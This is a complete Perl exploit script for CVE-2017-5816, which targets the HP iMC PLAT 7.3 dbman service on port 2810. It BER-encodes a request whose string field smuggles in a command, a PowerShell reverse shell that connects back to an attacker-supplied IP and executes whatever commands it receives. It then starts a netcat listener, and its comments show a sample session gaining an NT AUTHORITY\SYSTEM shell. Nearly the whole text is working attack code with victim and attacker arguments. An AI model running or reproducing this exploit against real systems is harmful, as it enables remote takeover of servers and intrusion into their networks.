#!/usr/bin/perl # CVE-2017-5816 # https://oxasploits.com/posts/exploit-archive-partial-disclosure/ # Marshall Whittaker / oxagast # oxagast@oxasploits.com # Thanks go to sztivi for discovery # Thanks go to Nikhil SamratAshok Mittal # for the modified powershell reverse shell # Not verified but I think it needs KB976932 # and dot net fix 4.5 for the payload to work. # # ./dbman_HPe_iMC_PLAT-7.3_remote_powershell.pl 10.0.1.122 10.0.1.2 # Crafting payload with 10.0.1.2:7777... # Enbering payload data... # Binary encoding opcode 10008 and allocation size 560... # With a 537 byte powershell payload... # Getting ready to send exploit! # Waiting for shell... (this should only take a second or two) # Connection from 10.0.1.122:49172 # PS C:\Windows\system32> whoami # nt authority\system # use Encoding::BER; use Sanitize; use Socket; use strict; sub help_me() { print STDERR "Marshall Whittaker / oxagast\n"; print STDERR "CVE-2017-5816\n"; print STDERR "HP iMC PLAT 7.3 dbman exploit 2021\n"; # of the things i've lost print STDERR " useage ./sploit <victim> <attacker> <reverse_shell_port>\n"; # i miss my mind the most exit(1); } my $victim = $ARGV[ 0 ]; my $attacker = $ARGV[ 1 ]; if ( ( scalar(@ARGV) < 2 ) || ( scalar(@ARGV) > 3 ) ) { # see how many args they used help_me(); exit(1); } if ( ( ( validate( $ARGV[ 0 ], ip => 1 ) ) == 0 ) # sanitize the ip addresses || ( validate( $ARGV[ 1 ], ip => 1 ) ) == 0 ) # so nothing crazy gets sent { # to crash dbman.exe print STDERR "Err: Only IPv4 addresses as the first two arguments.\n"; help_me(); exit(1); } else { my $rev = $ARGV[ 2 ]; my $user = `whoami`; # checks if root then can use ports under 1024 my $revport = 7777; if ( ( $rev != "" ) && ( $rev =~ m/^\d+$/ ) && ( ( $rev >= 1 ) && ( $rev <= 65535 ) ) ) { if ( $rev >= 1023 ) { $revport = $rev; } elsif ( $user =~ /^root$/ ) { $revport = $rev; print "Running in priveleged mode port $revport...\n"; } else { print STDERR "Err: Reverse port error... "; print STDERR " netcat won't bind to $attacker:$rev (hint: sudo)\n"; help_me(); exit(1); } } print "Crafting payload with $attacker:$revport...\n"; # ps1 reverse by Nikhil SamratAshok Mittal # this is a normal powershell reverse # payload, but i added a pause so that # we have time to make sure netcat is active my $payload = 'x"& powershell -nop -exec bypass -c "Start-Sleep -s 1;$client = New-Object System.Net.Sockets.TCPClient(\'' . $attacker . "\'," . $revport . ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" &'; print "Enbering payload data...\n"; # we asn.1 BER encode the payload here my $ber = Encoding::BER->new; my $data = [ { type => [ 'octet_string' ], value => '0' }, { type => [ 'integer' ], value => 4 }, { type => [ 'octet_string' ], value => $payload }, { type => [ 'octet_string' ], value => 'x' }, # these can be dummy values of db un/pw etc { type => [ 'octet_string' ], value => 'x' }, { type => [ 'octet_string' ], value => 'x' }, ]; my $p = $ber->encode($data); # actually encode it all # the opcode and the allocation size for the ber have to be in binary, with leading \x00's print "Binary encoding opcode 10008 and allocation size " . length($p) . "...\n"; print "With a " . length($payload) . " byte powershell payload...\n"; my $sz = pack( "H8", sprintf( "%08x", length($p) ) ); my $payl = pack( "H8", sprintf( "%08x", 10008 ) ) . $sz . $p; my $port = 2810; # dbman.exe's default port socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[ 2 ] ) or die "Can't create a socket $!\n"; connect( SOCKET, pack_sockaddr_in( $port, inet_aton($victim) ) ) or die "Can't connect to $victim:$port! \n"; print "Getting ready to send exploit!\n"; print SOCKET $payl; # send the exploit here! close SOCKET or die "close: $!"; print "Waiting for shell... (this should only take a second or two)\n"; system("nc -l -p $revport -v") == ( 0 || 256 ) or die "netcat: $?"; # just waiting for the shell, # the payload will take a couple # seconds to trigger }